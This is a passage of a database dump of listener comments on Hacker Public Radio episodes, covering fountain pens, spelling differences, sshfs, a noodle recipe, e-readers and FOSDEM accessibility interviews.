automobile\r\n\r\n&ldquo;Ratting me out&rdquo; = informing on someone\r\n\r\n&ldquo;Frank Nitty&rdquo; =  30\'s era Gangster,  Al Capon\'s right hand man (Enforcer)\r\n\r\n\r\n Disclaimer:\r\n\r\nAll characters are fictitious renditions of HPR contributers.\r\nNothing about any individuals character is based on anything other than my personal convenience of using their likenesses in fictitious storytelling.\r\nNo disrespect is intended in any way.\r\n\r\n The genre that the character A Shadowy Figure lives in is hard boiled Noir.\r\nNoir reflects a past history that had different standards than we do now.\r\nI do not personally hold those antiquated world views. Nor do I promote them through this work of fiction. I would like to think this artistic creation does provide an opportunity to see how far we\'ve come as a society.\r\n\r\n But most of all, I\'d like to think that you the listener, are entertained and/or inspired by this presentation.\r\n\r\n  Thank you all for your support.\r\n\r\n\r\n   A Shadowy Figure','2017-09-09 07:41:28'),
(1390,1934,'2016-01-01 04:54:47','Frank','','It was a rainy day.  \r\n\r\nGloomy.  Sad and empty.  There was rain and not much else.\r\n\r\nBut I had errands to run.  Gloom or not, errands must be run.  \r\n\r\nI found myself driving up the street in my little pick-up truck, recycling waiting to be recycled in the bed, listening to some fellow who called himself \"A Shadowy Figure.\"  \r\n\r\nHe was saying stuff.  \r\n\r\nI wanted a drink, but I had left the Scotch at home.  Any Scotch is better than every anything else, but, if you have no Scotch, you have to make do.\r\n\r\nI was beginning to wonder to myself, has this Shadowy Figure fellow taken his shtick one step too far.  \r\n\r\nThen he said something.\r\n\r\nAnd I found myself laughing out loud all by myself in my little pick-up truck.','2017-09-09 07:41:28'),
(1391,1934,'2016-01-02 01:39:34','Jon Kulp ','$2 mic','Loved it! Awesome to hear the LPL Maker Space and the $2 microphone getting some love. Looking forward to the next installment.','2017-09-09 07:41:28'),
(1392,1934,'2016-01-03 20:07:08','Dennis','Love the subtle humor...','The \"prom dress\" and \"Groomin\' poodles,\" comments killed. Thank goodness, I already use a \"chainsaw resistant desk.\" In fact, mine is chainsaw proof!','2017-09-09 07:41:28'),
(1393,1934,'2016-01-03 21:52:16','Elizabeth Chandler','','Entertaining ... looking forward to Shadowy Figure\'s next installment!','2017-09-09 07:41:28'),
(1394,1934,'2016-01-04 01:32:36','Jane V. Blanchard','','I really enjoyed this episode and can\'t wait for the next. Well done!','2017-09-09 07:41:28'),
(1395,1934,'2016-01-04 17:14:08','A Shadowy Figure','Suitable for framing ','     Frank,\r\n\r\n  I\'m going to print your response, put it in a frame, and hang it in my studio, to encourage me to aspire to write at least half as good as you. \r\nEvery word was perfectly placed, and brought with it, it\'s own ambiance.\r\n\r\n My standards have been raised, and I look forward to producing more of the same in the weeks to come.\r\n\r\n  Also, Thank you Proff. Kulp, Dennis, Elizabeth, Jane, and The mysterious Dutch overlord behind the scenes, for your kind thoughts and words of encouragement.\r\n\r\n  I look forward to living up to your expectations for the following episode.\r\n\r\n  Sincerely,\r\n\r\n  A Shadowy Figure\r\n','2017-09-09 07:41:28'),
(1396,1934,'2016-01-08 15:59:22','Frank','','[blush]  I listen to a lot of OTR.','2017-09-09 07:41:28'),
(1397,1934,'2016-03-10 14:18:34','Stilvoid','','I just got around to listening to part two of this having somehow missed part one. I loved it and immediately went back to listen to the first part.\r\n\r\nA refreshing break from the usual style of HPR episodes. Can\'t wait for part 3 :D','2017-09-09 07:41:28'),
(1398,1936,'2016-01-07 04:34:05','Frank','','I want to second what Jon Kulp said.  I think a episode or two about how to get the most out of IRC would be must useful.   \r\n\r\nI have dropped in on various IRC channels from time to time, but, so far at least, I am not an IRC kind of guy.   When it comes to IRC, at least, I\'m still just a whippersnapper.','2017-09-09 07:41:28'),
(1399,1936,'2016-01-07 18:25:27','Kevin O\'Brien','Farts','I have a near-uncontrollable urge to record three hours of farts and submit it.','2017-09-09 07:41:28'),
(1400,1936,'2016-01-08 05:24:01','Frank','','Kevin, if Zebra Pizza is still in business in Washington, D. C., they can help you accomplish your goal.\r\n\r\nLet us hope they are not.','2017-09-09 07:41:28'),
(1401,1936,'2016-01-08 06:58:59','Ken Fallon','Please do so','This would be acceptable as it would \"be of interest to hackers\".  I have yet to meet a human under the age of 10 that is not completely absorbed by the topic. As we have many young hackers that are young and many more that are young at heart this would be an ideal addition to our corpus.\r\n\r\nAside from the sheer comedic interest of the show, our contributors may consider shows on the topic from different points of view.\r\n\r\n- historic https://en.wikipedia.org/wiki/Flatulence\r\n- medical https://www.nhs.uk/Conditions/Flatulence/Pages/Causes.aspx\r\n- engineering, the ever excellent \"An Engineer\'s Guide to Cat Flatulence\" https://www.youtube.com/watch?v=whDN-4lbork\r\n- a form of art in itself https://heavy.com/comedy/2012/07/the-20-awesomest-pieces-of-fart-art\r\n\r\nRemember folks more than 3 show and it becomes a topic.','2022-02-14 13:17:26'),
(1402,1936,'2016-01-10 17:14:34','Dave Morriss','Le P&eacute;tomane','Not to speak of the \"French flatulist\" Joseph Pujol who made his living farting on stage. See https://en.wikipedia.org/wiki/Le_P%C3%A9tomane\r\n\r\nI have a book on him called \"Le Petomane. Or gone with the wind\" published in 1967 for 5 shillings. \r\n\r\nFrom the blurb: \"Sarah Berhardt drew box-office receipts of 8,000 Francs but LE PETOMANE in a single Sunday took 20,000 Francs at the box-office\".','2017-09-09 07:41:28'),
(1403,1939,'2016-01-10 14:05:52','Ken Fallon','Thanks','The exact right show at the exact right time.\r\n\r\nI am looking at doing something similar for jpg scanning.\r\n\r\nNow if Dave would only get off his donkey and send us in the show on how to scan via cups, we\'d be finished.\r\n\r\nKen.','2017-09-09 07:41:28'),
(1404,1939,'2016-01-10 16:53:44','Dave Morriss','Very nice','Great show Jon. I like how pdftk can do so many things to PDFs.\r\n\r\nYou\'d expect me to comment on the script, so I tend to use \'find\' instead of \'ls\' in such cases. It has some powerful regular expression capabilities and is less error-prone than \'ls\' in my experience. It\'s more complex to get right though.\r\n\r\nKen: I don\'t think CUPS can scan. In my show 1864 I described how I\'d set up SANE to do scanning on my Raspberry Pi connected to my HP Inkjet/Scanner. That was for one-at-a-time scanning though, not bulk stuff.\r\n\r\nInteresting donkey-related fact: Thursday January 14th is The Festival of the Ass. I have it in my calendar','2017-09-09 07:41:28'),
(1405,1939,'2016-01-11 12:08:04','el Mussol','where is Dave','As possibly the only HPR listener with donkeys, I would like to clarify that if Mr Morriss is sat on a donkey somewhere, it\'s not on one of ours.\r\n\r\npault','2017-09-09 07:41:28'),
(1406,1939,'2016-01-14 13:54:10','Dave Morriss','Donkeys','It\'s my impression that Ken\'s donkey reference was euphemistic. So no actual donkeys were harmed ...','2017-09-09 07:41:28'),
(1407,1941,'2016-01-11 14:01:17','Magnus919','Chronicles of a Cheap Geezer','Regarding blue-black ink, those inks were not dye inks like you\'d use in most fountain pens. They were an iron gall ink, which can foul an improperly maintained fountain pen. The iron gall ink goes on blue and as it oxidizes it bonds with the paper and settles into a blacker shade. This is really durable and for a long time in places like the UK, it was the ink legally required for use by registrars for recording legal documents because of its endurance and tampering resistance.\r\n\r\nI recently started a new blog (see my link) for having fun exploring sub-$25 fountain pens and other low-cost/high-value stationary supplies.','2017-09-09 07:41:28'),
(1408,1941,'2016-01-11 16:06:11','Dave Morriss','Thanks','Thanks Magnus919,\r\n\r\nI was aware of iron gall inks, my dad used to work in the Legal trade. I have been warned not to use such inks in a fountain pen. However, I wasn\'t aware that school ink was an example. Good to know.\r\n\r\nYour blog is looking interesting. Some nice looking pen photographs.\r\n\r\nSince the coment system here doesn\'t display the website (and I\'m an admin) I\'m showing it here:\r\n\r\nhttps://cheapgeezer.wordpress.com/\r\n\r\nDave','2022-02-14 13:17:26'),
(1409,1941,'2016-01-11 22:08:15','Frank','','I have long preferred fountain pens, ever since I started using one in school (no, we didn\'t have inkwells in our school desks in Birdsnest, Virginia).  That one belonged to my father\'s mother and I used it until the barrel broke in two in the vicinity of the lever used to fill the ink bladder.\r\n\r\nI have six fountain pens in this here desk, plus the Waterman which I normally use.\r\n\r\nThere is an element of conceit herein, as, after you\'ve used a fountain pen for a while, the nibs wear to fit your hand and the pen will then write properly for no one else.  \r\n\r\nI fear that I don\'t use fountain pens very often any more, as they have been made obsolete by duplex checks; unless you use a ballpoint, the duplex doesn\'t.','2017-09-09 07:41:28'),
(1410,1941,'2016-01-12 20:12:50','Dave Morriss','What\'s a duplex check?','Hi Frank,\r\n\r\nI had a fountain pen with a lever+bladder filling action a long time ago but I think the bladder failed and it probably got thrown out since it was a cheap thing. Modern pen filler designs do a much better job I reckon.\r\n\r\nYes to the nib wear-in issue. I was taught never to share a fountain pen for that very reason, even though it seems churlish.\r\n\r\nI have no idea what a duplex check is. Cheques (as we Brits call them) are largely obsolete here now. Is it something to do with making a carbon copy (something many will probably not be acquainted with these days)? I assume that the issue is that a fountain pen can\'t apply enough pressure compared to a ballpoint. That is certainly the case.\r\n\r\nThanks for your comments.','2017-09-09 07:41:28'),
(1411,1941,'2016-01-12 20:40:32','Frank','','A duplex check (\"cheque\" in some ancient climes) is one that makes a copy of itself as you write it.  \r\n\r\nUnder each check in the checkbook is a sheet of NCR paper, so that as you write, what you write is reproduced on the NCR paper.   The NCR paper is formatted as the check, but does not bear any account numbers.\r\n\r\nA proper fountain pen does not exert enough pressure to create the copy.\r\n\r\nAside:  I use electronic payments sparingly, not because I\'m agin\' \'em, but because I\'m afraid I\'d lose track.  I spent lots of years figuring out ways not to overdraw my checking account and I don\'t want to change now.','2017-09-09 07:41:28'),
(1412,1941,'2016-01-13 15:34:28','Mike Ray','Nostalgia aint what it used to be','Great episode Dave.  I remember desks with ink wells, although I never witnessed the wells being used.\r\n\r\nAt my primary school the top class were taught to use a fountain pen and we were each given a cheap pen which took cartridges (is that still a \'fountain\' pen?) and were expected to use it.\r\n\r\nIt was not until secondary school that ball-points were tolerated and then not by some of the older and crustier teachers.\r\n\r\nIf you are looking for a case, what about one of those old classic wooden pencil cases with a sliding lid?  Some of them even had a swivel at one end which allowed access to a second compartment below once the lid was slid back.\r\n\r\nOf course then it would be mandatory to scratch \"Dave Morrison was \'ere\" on it with the point of a compass.\r\n\r\nI have known many people with a stationery, erm, I think \'fetish\' is the word you were looking for :-p and one of the regrets of ebing blind is I can no longer just use pencil (or pen) and paper to capture and diagram ideas','2017-09-09 07:41:28'),
(1413,1941,'2016-01-14 11:53:21','Jonas','Great Episode','Thanks so much Dave.\r\nI really enjoyed the subject and the excellent detail. I went straight out and picked up a disposable Pilot for $2.25 American. I remember taking a calligraphy class that used fountain pens somewhere long ago. My grandfather had a couple inkwell pens. One had a lever on it. Another had the squeeze fill. I still have a sterling silver ink bottle. It\'s glass inside with a silver screw cap and silver exterior. I just ordered a similar priced Chinese pen and a Piolot MR. The disposable is a medium point and a little too wide. I\'m hoping the fine point I ordered will be closer to what I expect. \r\nI typically keep a G2 gel pen or Pilot precise pen until it runs out then switch to a different style as they get used up. I\'m looking forward to daily writing with fountains. \r\nNow if I could just stop watching the pen review videos, I may get time to write something. ','2017-09-09 07:41:28'),
(1414,1941,'2016-01-14 12:53:59','Dave Morriss','Check vs Cheque','Hi Frank,\r\n\r\nAs to the spelling question I reckon it\'s another case of parallel language evolution. Both the UK and the USA variants of English have been evolving in their own directions for hundreds of years. Spelling gelled in Britain earlier than in the US but the French variants became popular on this side of the Atlantic. Thus cheque/check with the French spelling being ch&egrave;que. There\'s a tendency for both \"sides\" to tell the other they\'re wrong. I try to resist this personally.\r\n\r\nThanks for the explanation of \"duplex check\". I don\'t think anything like this has existed here. We simply note things like the date, payee and amount on a stub which remains in the cheque book after the cheque has been torn out, and tally them up from there.\r\n\r\nIn my case I use electronic transfer for almost everything these days. If my kids ask for money for Christmas they get it that way. I did create fake \"Bank of Dad\" notes for Christmas 2014 just for fun, so they had something tangible! For Christmas 2015 I didn\'t bother.\r\n','2017-09-09 07:41:28'),
(1415,1941,'2016-01-14 13:10:33','Dave Morriss','Re: Nostalgia','Thanks Mike,\r\n\r\nYou were lucky to have had access to fountain pens so young. Yes, I think the definition of \'fountain pen\' extends to cartridge pens. I believe anything with a nib and an ink reservoir fits that category.\r\n\r\nI actually have an old wooden pencil case of the sort you mention. Thing is, fountain pens really need to sit in individual spaces so they don\'t rattle together. That\'s what my cheapo leather case does, each pen has its own elastic loop. I know that this verges on the obsessional, but after spending &pound;100+ (or possibly a lot more) on a writing implement you\'d want it to stay in pristine condition.\r\n\r\nYes, \'fetish\' is the word I was trying to avoid! Or possibly \'obsession\'. ','2017-09-09 07:41:28'),
(1416,1941,'2016-01-14 13:48:51','Dave Morriss','Thanks Jonas','Delighted to hear that you are sampling some fountain pens. I hope you enjoy the Pilot MR/Metropolitan. Maybe you could record an HPR show about your experiences!\r\n\r\nYour sterling silver ink bottle sounds wonderful. You should show us some pictures in your HPR show! \r\n\r\nActually, I often use a Pilot G-TEC-C4 (0.4mm) gel pen. It has an ultra-fine point and is great for writing in small notebooks and so forth. That\'s if you have the small handwriting to match of course.\r\n\r\nI know what you mean about the pen videos. I watch a fair number of these myself. I so often end up wanting to buy the pen that was reviewed. They are dangerous from that point of view!','2017-09-09 07:41:28'),
(1417,1941,'2016-01-14 14:52:44','Mike Ray','Leftpondian spelling','I was once told some of the spelling differences which \'leftpondians\' use, like color instead of colour etc., were actually deliberate attempts, when the earlier American Dictionaries (was it Websters?) were compiled.  It was an attempt to just put their mark on the language.  I don\'t know if there\'s any truth in that','2017-09-09 07:41:28'),
(1418,1941,'2016-01-14 16:00:40','Dave Morriss','Re: Leftpondian spelling','I have heard something similar, though I have never found a description of it that seemed completely reliable. \r\n\r\nThe story seems to be that Noah Webster \"rationalised\" spellings when compiling his dictionary, in some cases reverting to more ancient forms which didn\'t have the French influence that British spellings did. I don\'t know if that accounts for examples like the replacement of \'ph\' with \'f\' though. I\'d like to find a detailed explanation written by a linguist or similar academic, but so far I have failed to do so.\r\n\r\nI\'d also prefer to get away from the haranguing which is often resorted to on both sides of these arguments. \"Those *@*s over there don\'t know how to spell properly\". You know the type of thing.\r\n\r\nI quite like \'Leftpondia\' and \'Rightpondia\' by the way. Never encountered those before.','2017-09-09 07:41:28'),
(1419,1941,'2016-01-14 18:13:10','Mike Ray','Rationalising languages','I think any attempt to \'rationalise\' a language either as it is written or spoken is a hiding to nothing.  It\'s too fluid and has too many things pressing on it from all sides.\r\n\r\nIf that wasn\'t true I guess we\'d all be speaking Espiranto by now.\r\n\r\nAnd certainly a people, wherever they are, have a perfect right to speak and spell their language as they like.  As long as every other word in their podcasts isn\'t \'awesome\', grrrrr','2017-09-09 07:41:28'),
(1420,1941,'2016-01-15 02:55:00','Jon Kulp ','Gotta try one now','Thanks Dave, my son and I really enjoyed listening to this while I drove him to school. I\'ve also sent a link to this episode to Trumpet Guy because he\'s a huge fountain-pen fanatic as well. I put one of the Pilot entry-level pins on my wishlist on Amazon, going to give this a try. In my new position I have to sign my name a **lot** nowadays so it might be more fun to do it with a nice pen.','2017-09-09 07:41:28'),
(1421,1941,'2016-01-15 15:54:25','Dave Morriss','Language rationalisation','Yes Mike, I can only agree. Haven\'t the French tried doing something like this in the recent past?\r\n\r\nOn the other hand, I rather regret the evolution away from certain singular and plural forms which seems to be ongoing. I\'m thinking of examples like the use of \'criteria\' where \'criterion\' is meant, or \'supernova\' where \'supernovae\' should be used. The battle is already lost with \'data\' and \'datum\' of course. This is probably old fart territory though.\r\n\r\nAs to \'awesome\' I always hear that as \'aweless\'. ','2017-09-09 07:41:28'),
(1422,1941,'2016-01-15 16:42:50','Dave Morriss','Hope you enjoy your fountain pen','Hi Jon,\r\n\r\nGood to hear you are tempted to join the ranks of fountain pen users. If you like your Pilot get yourself something classy like a Pelikan Souver&auml;n 600, 800 or 1000 to impress everyone :-)','2017-09-09 07:41:28'),
(1423,1941,'2016-01-16 00:49:18','Jon Kulp ','Umm...probably not','Well I think it\'s pretty safe to say that I will not be buying any of the Pens you mentioned there, Dave. Wow pricey!','2017-09-09 07:41:28'),
(1424,1941,'2016-02-11 22:13:35','NYbill','Its been a bit of an adventure...','I\'ll just leave this here. ;)\r\n\r\nhttps://media.gunmonkeynet.net/u/nybill/m/~60yr-old-fountain-pen/\r\n\r\n','2022-02-14 13:17:27'),
(1425,1941,'2016-02-15 08:30:39','Dave Morriss','Old fountain pen','Hi Bill,\r\n\r\nGood to know that you tried out the Pilot Metro. It\'s a sweet pen.\r\n\r\nYour adventures into fountain pen \"archaeology\" sound fascinating. I think I remember this model, the Parker 21: it was one that was popular in the 1960\'s I think. It has a partly \"hooded\" nib, with only the front part showing, I believe.\r\n\r\nI have been cleaning out some of my pens recently. Disassembling them and leaving them to soak in warm water with a tiny drop of dish soap is the recommended way to loosen the dried ink. Brushing the nib and the feed underneath with an old (soft) toothbrush can help. In some cases, removing the nib and feed is very helpful, if it *is* removable of course.\r\n\r\nHey, I think there\'s at least one other HPR show here. You want to recount your experiences?','2017-09-09 07:41:28'),
(1426,1941,'2016-02-15 12:57:14','Jonathan Kulp','Pilot Metro and Scheaffer','Dave, Bill, I recently got a pilot Metro fountain pen as well. It\'s pretty nice. Also Trumpet Guy gave me an old Scheaffer fountain pen that he had and it writes pretty well too. The ink flows a little faster in the Scheaffer than it does in the pilot. I can\'t decide whether that\'s a good thing or a bad thing yet. \r\n\r\nIn my new position at work I have to sign a lot of documents and whenever they are not in triplicate (which requires a ball point pen to put enough pressure) I use one of my new fountain pens. Had to see what all the fuss was about after this episode prompted more comments than any I can remember.','2017-09-09 07:41:28'),
(1427,1941,'2016-02-15 20:19:55','Dave Morriss','Sheaffer','Hi Jon,\r\n\r\nThat name is hard to spell. It looks as if it\'s German so I tend to type \"Schaeffer\" a lot of the time! It\'s an American company from around 1912, however.\r\n\r\nI used a Sheaffer cartridge pen as a schoolboy. I still have it and am just in the process of resurrecting it.\r\n\r\nThere are various opinions about \"wet\" pens (I\'ve heard them described as \"juicy\" too). A broad nib needs plenty of ink to be delivered because it deposits more. Finer nibs conversely need less. However, much lower-quality paper doesn\'t suit wetter pens as the ink tends to sink in and \"feather\" or bleed through. On the other hand, a drier pen can be frustrating as the ink feed often doesn\'t keep up with the writing. Many factors to consider!\r\n\r\nI\'m glad you\'re enjoying the Metro. I\'d love to see the Sheaffer - we need a show on your experiences :-)\r\n\r\nAnother aspect of fountain pen usage you might enjoy is the huge selection of inks that is available. I\'m enjoying one called \"Ancient Copper\" from Diamine at the moment - a sort of reddish brown. ','2017-09-09 07:41:28'),
(1428,1942,'2016-01-14 03:09:11','Jon Kulp ','KOReader uses normal directories','Enjoying the episode! I\'ve wanted to get a Kobo for a while but somehow ended up with a few Kindles instead.  \r\n\r\nAnyway you might check out the KOReader (Kindle / Kobo Open Reader). I\'ve been using it on my jailbroken Kindle to read epubs. It doesn\'t pay attention to Metadata at all, it just has a file browser like it appears you prefer. It actually took me a while to get used to this because I\'m more used to being able to sort and search by Metadata. Look for my show on the KOReader next week... ','2017-09-09 07:41:29'),
(1429,1942,'2016-01-20 17:49:11','Klaatu','KOReader','Thanks for letting me know about KOReader. I had not heard of it. My go-to reader on other devices has been either fbreader or epubreader in Firefox. Both have the concept of a \"library\" which I think is stupid (personally) but they\'re not bad.\r\n\r\nI\'ll check KOReader out sometime, though. Sounds nice.','2017-09-09 07:41:29'),
(1430,1943,'2016-03-16 02:37:18','David L. Willson','Firefly','\"So you probably see Firefly in everything.\"\r\n\r\n\"That\'s because it *is* in everything.\"\r\n\r\nLOL!','2017-09-09 07:41:29'),
(1431,1944,'2016-01-14 09:00:03','Mike Ray','Using sshfs to mount Pi rootfs on faster machine for cross-compiles','Great show Fifty.\r\n\r\nI use sshfs to mount the root file-system of a Pi on my fast quad-core desktop Linux machine for cross-compiling stuff.\r\n\r\nI have tool-chains in /opt/toolchains and then I mount the Pi rootfs like this:\r\n\r\nsshfs root@raspberrypi:/ /opt/mnt/pi -o follow_symlinks\r\n\r\nThen I can specify that as -sysrrot when I compile.\r\n\r\nCompiling a kernel on a Pi takes about fifteen hours, it takes my desktop machine eight minutes!\r\n\r\n','2017-09-09 07:41:29'),
(1432,1944,'2016-01-15 19:16:39','Frank','','I just tested this out.  Thanks, Fifty!\r\n\r\nFor Slackers, there\'s a build on slackbuilds.org.','2017-09-09 07:41:29'),
(1433,1944,'2016-01-16 12:06:50','0xf10e','','I\'m pretty sure when using sshfs for multiple users would map everyone to the user you initiated the connection with.\r\n\r\nTo prevent yourself creating files under the mountpoint of your sshfs just make the dir r-x before mounting.\r\nShould give you enough of a heads-up when you try to store you downloads there.\r\n\r\nAnd btw: Mounting NFS at boot works fine and is just delayed until the network is configured.\r\n\r\nOtherwise a nice introduction ;)','2017-09-09 07:41:29'),
(1434,1944,'2016-01-18 17:27:58','Ken Fallon','no multiple users','As far as I know mapping multiple users to a sshfs conncetion was not possible.\r\n\r\nI created a new user and gave them the same group rights but after mounting neither the root or the test user were allowed to see the mounted connection.\r\n\r\nKen.\r\n\r\n','2017-09-09 07:41:29'),
(1435,1944,'2016-01-21 17:01:44','Kevin O\'Brien','Great show','I\'m delighted that my friend FiftyOneFifty was able to build on the earlier shows that klaatu and I did on ssh. That is how I always envisioned this series working.','2017-09-09 07:41:29'),
(1436,1946,'2016-01-18 20:04:26','Frank','','Interesting.  I haven\'t tried a noodle dish.  I\'ll have to give this a try later this week.\r\n\r\nThe beans you picture are indeed what in the States are called string beans or green beans and the peas are called snow peas.\r\n\r\nIronically, at least in these parts, string beans don\'t really have strings--they don\'t need to be \"de-strung\"--and snow peas do.','2017-09-09 07:41:29'),
(1437,1946,'2016-01-18 21:37:38','Dave Morriss','String or no string','Thanks Frank. It\'s interesting how names change so much from region to region.\r\n\r\nI had always assumed that the \"string\" in string beans referred to the way they were grown, draped over a taut string. At least I have often seen them grown that way to keep the mature beans off the soil. They grow fine by themselves of course, unlike what we call runner beans which need sticks, stakes or hanging strings to grow up. These ones become very fibrous as they mature and take a bit of skill to de-string when preparing!\r\n\r\nAs to mange tout/snow peas the ones I buy very rarely have any strings in them. Maybe they are just harvested very young for the UK supermarkets. \r\n\r\nAnyway, I hope your noodle cooking experiences turn out well.','2017-09-09 07:41:29'),
(1438,1946,'2016-01-19 03:36:53','Frank','','I always thought that the \"string\" in string beans referred to their shape.  They are also sometimes called snap beans, because you can \"snap\" the ends off to prepare them for cooking.\r\n\r\nThe Wikipedia article says that it refers to the \"string\" along the seam on one side of the bean, but, as I said, I observe that much more often in snow peas.\r\n\r\nOh, well, they\'ve probably all been cross-bred to oblivion anyway.','2017-09-09 07:41:29'),
(1439,1946,'2016-01-19 10:44:31','Mark Waters','Thanks','Just wanted to say thank you for this episode , I will certainly be trying your recipe out.','2017-09-09 07:41:29'),
(1440,1946,'2016-01-20 14:47:14','Dave Morriss','Thanks Mark','Glad you liked the show. Let us know how you get on with the recipe.','2017-09-09 07:41:29'),
(1441,1946,'2016-01-21 04:52:44','Frank','','My experiment was a qualified success.\r\n\r\nI did not use the same ingredients as you. I used carrots (inspired by you--I agree with Dennis the Menace as he sampled a carrot cake:  \"Nothing that tastes this good could come from carrots\"), snow peas, mushrooms, celery, five cloves of garlic, three scallions, tofu, and a banana pepper (I should have used half a banana pepper).  \r\n\r\nI was too lazy to go to Grand Mart, the local international supermarket which does indeed absolutely rock (google it), so I ended up using Thai noodles, because they were there in my local plain-jane American supermarket.\r\n\r\nI used too many noodles for the quantity of other ingredients and the dish was a little bit too spicy (should have used half a banana pepper, rather than a whole one), but, as I said, it was a qualified success.  Susan liked it, despite the hotness.  It will be better next time.\r\n\r\nThanks for getting me to try something new.','2017-09-09 07:41:29'),
(1442,1946,'2016-01-21 19:56:29','Dave Morriss','Banana pepper','Great to hear about your latest stir-fry experiment Frank. I must try some fresh chillies in the ingredient list some time. I have mainly used sauces added when eating the dish since my daughter is not a great fan of chilli. Personally I love hot food, though I have never eaten a banana pepper. I must look out for some.','2017-09-09 07:41:29'),
(1443,1948,'2016-01-22 21:58:56','b-yeezi','Thanks a lot','This episode exemplifies what I love most about hpr and vim. I\'ve been using vim for about 2 years now and lean new things weekly. I\'ve already added what I learned here in my daily workflow. Thanks.','2017-09-09 07:41:29'),
(1444,1948,'2016-01-23 20:09:17','Frank','','I\'m really glad you found helpful.  Thanks.','2017-09-09 07:41:29'),
(1445,1951,'2016-01-27 04:32:57','Frank','','Thanks.  \r\n\r\nThis is a topic I\'ve long wanted to know more about, if only to show off to my brother, who is Linux-curious, but sticks with Windows so he can play is antediluvian Star Wars game.\r\n\r\nI look forward to working my way through your long show notes and learning stuff.','2017-09-09 07:41:29'),
(1446,1951,'2016-01-27 13:50:59','Dave Morriss','Thanks Frank','I\'m glad you found it interesting. I hope the long notes help, I enjoyed researching and writing them.','2017-09-09 07:41:29'),
(1447,1952,'2016-01-28 16:09:26','Dave Morriss','Great show idea','I always enjoy shows like this. I found I either needed to be reading the notes as I listened or I needed to listen twice.\r\n\r\nI liked the way you explained those pipelines by breaking them into their components.\r\n\r\nMaybe the next release of \'fix_tags\' should have a -sum option to sum up all the audio lengths :-)','2017-09-09 07:41:29'),
(1448,1954,'2016-01-28 19:00:59','Dave Morriss','Most interesting and entertaining','I love shows like this. It felt like I was right there observing the pen making. I could almost smell the acrylic.\r\n\r\nThe results look great too. Thanks for sharing this with us.','2017-09-09 07:41:29'),
(1449,1954,'2016-01-29 00:10:54','Jon Kulp ','Acrylic smells','Glad to hear you enjoyed it, Dave. Wish you could have been here with us to turn a nice fountain pen for yourself. It was fun! BTW Trumpet Guy gave me my first fountain pen this week. Cheapo old Sheaffer pen he\'s had for years but I\'m enjoying signing documents with it. ','2017-09-09 07:41:29'),
(1450,1954,'2016-02-01 16:57:03','Dave Morriss','Old Sheaffer','Great to hear you have officially joined the league of fountain pen wielders!\r\n\r\nYou should get yourself some fountain pen-friendly writing paper. Something from Rhodia or Clairefontaine perhaps. Then have a go at writing stuff: notes, letters, poetry, whatever. It can be a pleasure and very relaxing.','2017-09-09 07:41:29'),
(1451,1956,'2016-02-01 02:55:09','Mike Ray','xmlstarlet, yes please','Ken.  There are folks out here who would be interested in hearing more about xmlstarlet and anything else you can share about working with XML.\r\n\r\nI have used expat parsers with various programming languages and toolkits for ages.  Never got to grips with DOM type parsers and I\'m continually annoyed that expat isn\'t a validating parser.\r\n\r\nAnything you can tell me about other ways to work with XML would be cool.\r\n\r\nI think XML is a great thing.  I\'d put in a box with markdown as one of the most important things to happen to online publishing and data-exchange for decades.\r\n\r\nOK I know you can\'t compare markdown with the huge importance of XML but I think anything that flexible that is based on pure text is great.\r\n\r\n','2017-09-09 07:41:29'),
(1452,1957,'2016-02-02 03:25:03','Mike Ray','Distros and Accessibility','Great job Ken.\r\n\r\nA mixed bag os responses from those distros you asked about a11y.\r\n\r\nThe most distressing parts were that the Debian guy didn\'t seem to know or realise that Debian is the best (imho) distro for a11y and is easy to install if you can\'t see.  And the Magea guy who seems to think it\'s impossible for a blind person to use Linux at all.\r\n\r\nSomebody else mumbled about individual packages, missing the point that unless a distro can be installed and have the a11y stack enabled out-of-the-box, whether or not individual packages are accessible is irrelevant.\r\n\r\nI do think it would be a little unfair to plonk a sighted guy with no prior experience of a11y tools down in front of a PC wearing a blindfold.  But I\'d love to sit a bunch of them down in a class room and have me lead them through it.\r\n\r\nI\'m sure that would be an eye-opener (pun intended).\r\n\r\nWhat was the brand and name of the little 8-core ARM64 gizmo the guy on the OpenMandriva stand was running?\r\n\r\n','2017-09-09 07:41:29'),
(1453,1957,'2016-02-02 12:24:12','Ken Fallon','It wasn\'t really fair','Hi Mike,\r\n\r\nYou have to remember that these were volunteers working on the booths and that it\'s not reasonable to expect every project member to be up to speed of every aspect of the distribution. Each project has their own way of doing things and that extends to working with accessibility. All the project leads were able to give me a high level view of their workflow to accessibility issues, and all were able to point me to the correct contact point.\r\n\r\nWhat I realized during the experience is that there was not one person there who is deliberately against working on accessibility. \r\n\r\nIt would help everyone if there was a central point where these contact points was listed so we could have an overview who is working on what. It would also be a good idea for to try and get an Accessibility Track going at FOSDEM to address issues across different projects. You might even consider joining the Distro tracks so you could give them feedback.\r\n\r\nKen.\r\n','2017-09-09 07:41:29'),
(1454,1957,'2016-02-02 13:46:26','Mike Ray','A11y awareness','Fair comment.  I\'m sure nobody you spoke to is against a11y (don\'t know if you spoke to Linuxmint yet, that might change).\r\n\r\nIt would be a good idea to list the contact points of all, or at least major distro a11y related contacts in one place.  I can maybe try to pull some kind of list together for eyesfreelinux.ninja.\r\n\r\nMy problem currently, as for most people, is there aren\'t enough hours in the day.\r\n\r\nI\'m curious now about whether the ReactOS guys have \'reverse engineered\' oleacc32.dll and other aspects of the Win32 accessibility stack.  I think I can probably guess the answer.  But it would be good to see ReactOS mature into a really usable OS.  Although how they get away with it is beyond me.','2017-09-09 07:41:29'),
(1455,1958,'2016-02-05 04:53:24','Trent Palmer','Awesome Episode!','This is just a fantastic episode of Hacker Public Radio.  I spent this afternoon driving around SW Washington in a lift-gate tractor-trailer, making pickups and deliveries, while listening to this collection of interviews from FOSSDEM, and must report that I am entertained, inspired, and informed.\r\n\r\nThankyou, thankyou, thankyou!  Hacker Public Radio 1958 is an awesome podcast.','2017-09-09 07:41:29'),
(1456,1958,'2016-02-05 12:26:55','Mike Ray','Dazzling achievement','I\'d second what Trent said.\r\n\r\nAnd more.  Thanks Ken for, three, or was it four, shows containing a blistering array of interviews from FOSDEM.\r\n\r\nThe sheer variety of subjects and projects covered was impressive.\r\n\r\nIt must have been tiring, and I hope you didn\'t sacrifice your own enjoyment of the event to bring us the range of interviews you did.\r\n\r\nHighlights for me were mostly in the last one; picotcp, ptxdist and barebox, matrix.\r\n\r\nAnd the knitting lady, Siobhan (please excuse the missing accent over the \'a\') was a delight and a good one to end on.\r\n\r\nI wish there were more like Siobhan at my local LUG.\r\n\r\n\r\n','2017-09-09 07:41:29'),
